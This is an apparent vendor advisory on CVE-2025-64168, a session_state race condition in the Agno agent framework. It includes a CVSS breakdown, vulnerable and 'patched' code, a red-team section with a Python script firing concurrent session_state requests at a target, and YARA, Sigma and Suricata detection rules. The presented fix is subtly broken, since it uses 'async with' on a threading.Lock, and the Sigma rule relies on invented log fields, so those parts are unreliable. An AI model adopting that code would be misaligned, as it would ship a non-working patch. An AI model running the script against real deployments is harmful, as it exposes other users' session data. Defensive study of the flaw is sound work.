CVE-2025-64168

Executive Summary

CVE-2025-64168 is a race condition vulnerability in the Agno multi-agent framework, affecting versions 2.0.0 through 2.2.1. Under high concurrency, when session_state is passed to an Agent or Team during run or arun calls, a race condition can cause a session_state to be assigned and persisted to the incorrect session. This can lead to user data from one session being exposed to another user, posing a significant confidentiality risk. The vulnerability has been patched in version 2.2.2.

Supply Chain & Package Security

Agno is a Python-based multi-agent framework distributed via PyPI. Organizations using Agno should verify their installed version and update to 2.2.2 or later. The vulnerability is in the core session management logic, not in a third-party dependency, but the supply chain risk is that malicious actors could exploit this in shared or multi-tenant environments where Agno agents are deployed.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
• Attack Vector: Network
• Attack Complexity: High (requires high concurrency and specific timing)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (session data exposure)
• Integrity Impact: Low (potential for data corruption)
• Availability Impact: None

Threat Level: High. While exploitation requires high concurrency, the potential for cross-session data leakage in multi-tenant environments makes this a serious concern.

Deep Dive & Mechanics

The vulnerability is a classic race condition (CWE-362) in the session management logic of the Agno framework. When multiple concurrent run or arun calls are made with a session_state parameter, the framework's internal state handling is not properly synchronized. This can lead to a scenario where:

1. Two concurrent requests (A and B) arrive with different session_state objects.
2. Due to lack of locking, both requests may read and write to the same shared session storage location.
3. The session_state from request A may be overwritten or incorrectly associated with request B's session.
4. Subsequent requests from user B may then see user A's session data.

The root cause is in the Agent and Team classes' run and arun methods, where the session_state is assigned to a session without atomic operations or proper locking mechanisms.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

class Agent:
    async def arun(self, session_state=None):
        # No lock around session assignment
        if session_state:
            self.session.state = session_state
        # ... process request
        self.session.save()

Patched Code (simplified):

import threading

class Agent:
    def __init__(self):
        self._lock = threading.Lock()
    
    async def arun(self, session_state=None):
        async with self._lock:  # Proper synchronization
            if session_state:
                self.session.state = session_state
            # ... process request
            self.session.save()

The patch introduces a lock (or equivalent synchronization primitive) around the session state assignment and persistence operations, ensuring that concurrent requests do not interfere with each other's session data.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Agno framework version 2.0.0 to 2.2.1
• Multi-threaded or async environment with high concurrency
• Ability to send multiple concurrent requests with different session_state values

Exploitation Steps:

1. Identify an Agno endpoint that accepts session_state in run or arun calls.
2. Craft two or more requests with distinct session_state payloads (e.g., user A's session data and user B's session data).
3. Send these requests concurrently using a tool like curl with parallel execution or a custom script.
4. Monitor the responses to see if session data from one request appears in another's response.

Example Script (Python):

import asyncio
import aiohttp

async def exploit(session, url, session_state):
    async with session.post(url, json={"session_state": session_state}) as resp:
        return await resp.json()

async def main():
    url = "http://target:port/agent/run"
    async with aiohttp.ClientSession() as session:
        tasks = [
            exploit(session, url, {"user": "alice", "data": "secret1"}),
            exploit(session, url, {"user": "bob", "data": "secret2"})
        ]
        results = await asyncio.gather(*tasks)
        for r in results:
            print(r)

asyncio.run(main())

Blue Team

Detection:

• Monitor for unusual patterns in session state assignments, especially under high concurrency.
• Look for logs showing session state changes that do not correspond to expected user actions.
• Use the detection rules provided below.

Mitigation:

• Immediately upgrade to Agno version 2.2.2 or later.
• If upgrade is not possible, implement a rate limiter or request queue to reduce concurrency.
• Add application-level logging of session state changes with user identifiers for audit trails.

Indicators of Compromise (IOCs)

• Log Patterns: Repeated log entries showing session state changes for the same session ID from different IP addresses or user agents.
• Network Traffic: Multiple concurrent requests to the same agent endpoint with different session_state payloads.
• Session Data: Unexpected session data appearing in user responses, such as data from other users' sessions.
• File Hashes: No specific file hashes; the vulnerability is in the code logic, not in a specific binary.

Detection Engineering

YARA Rule

rule CVE_2025_64168_Agno_RaceCondition {
    meta:
        description = "Detects vulnerable Agno session state handling code"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64168"
    strings:
        $vuln1 = "session_state" ascii nocase
        $vuln2 = "self.session.state" ascii nocase
        $vuln3 = "self.session.save()" ascii nocase
        $safe1 = "self._lock" ascii nocase
        $safe2 = "async with self._lock" ascii nocase
    condition:
        all of ($vuln*) and not any of ($safe*)
}

Sigma Rule

title: CVE-2025-64168 - Agno Session State Race Condition
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of race condition in Agno session state handling
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: agno
detection:
    selection:
        event: "session_state_assigned"
        concurrent_requests: "high"
    condition: selection
falsepositives:
    - Legitimate high-concurrency usage without race condition
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64168 - Agno Session State Race Condition Attempt"; flow:to_server; content:"session_state"; http_client_body; pcre:"/session_state[^}]+/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Agno version 2.2.2 or later.
2. If upgrade is not possible, implement a request queue or rate limiter to reduce concurrency.
3. Add application-level logging of session state changes with user identifiers.

Long-term:

1. Review all concurrent session handling code for similar race conditions.
2. Implement proper locking mechanisms (e.g., asyncio.Lock for async code, threading.Lock for sync code).
3. Conduct regular security audits of session management logic.
4. Monitor for unusual session state patterns in production.

Workaround:

• Disable session state persistence if not required, or use a separate session store with atomic operations.

Valters IT
Securing the digital frontier, one CVE at a time.